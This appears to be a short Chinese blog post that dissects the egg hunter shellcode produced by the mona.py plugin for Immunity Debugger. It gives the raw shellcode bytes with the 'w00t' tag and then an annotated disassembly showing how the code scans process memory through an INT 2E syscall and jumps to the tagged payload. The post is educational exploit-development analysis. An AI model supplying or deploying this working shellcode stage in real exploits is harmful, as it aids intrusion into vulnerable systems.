mona.py的egg hunter方法分析

 

mona是一个为Immunity Debugger编写的插件，功能十分强大，可以帮助exploit编写人员快速找到想要的指令序列以及很多实用搜索内存的功能。其中有生成egg hunter代码的功能，默认生成结果如下

 

================================================================================

  Output generated by mona.py v1.1

  Corelan Team - http://www.corelan.be

================================================================================

  OS : xp, release 5.1.2600

  Process being debugged : php (pid 15016)

================================================================================

  2011-11-19 22:20:41

================================================================================

Egghunter , tag w00t :

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Put this tag in front of your shellcode : w00tw00t

在OD中调试这段指令序列，可以整理出如下代码

 

00406030    66:81CA FF0F    OR DX,0FFF     ;产生一个edx初值

00406035    42              INC EDX   ;移动EDX  ---代码a

00406036    52              PUSH EDX ;保存EDX到堆栈

00406037    6A 02           PUSH 2  ; 

00406039    58              POP EAX ; 将2送入eax，为系统调用号

0040603A    CD 2E           INT 2E  ;

0040603C    3C 05           CMP AL,5 ;系统调用INT 2E并比较AL是否为5，注意如果此前EDX中的值指向的地址是不可写的，EAX == C0000005 否则为C00000C5

0040603E    5A              POP EDX  ;恢复EDX的值

0040603F  ^ 74 EF           JE SHORT shellcod.00406030  ;如果[EDX]不可写跳转到代码a

00406041    B8 77303074     MOV EAX,74303077

00406046    8BFA            MOV EDI,EDX

00406048    AF              SCAS DWORD PTR ES:[EDI]  ;查看EDI指向的内存是否是EAX的值

00406049  ^ 75 EA           JNZ SHORT shellcod.00406035 ;如果不是跳转到代码a

0040604B    AF              SCAS DWORD PTR ES:[EDI] ;如果是继续判断指向的内存是否为EAX的值（注意，前面SCAS后EDI会加上4）

0040604C  ^ 75 E7           JNZ SHORT shellcod.00406035 ;如果不是跳转到代码a

0040604E    FFE7            JMP EDI  ;发现egg，跳转到找到的代码处执行

 

摘自 痛苦的信仰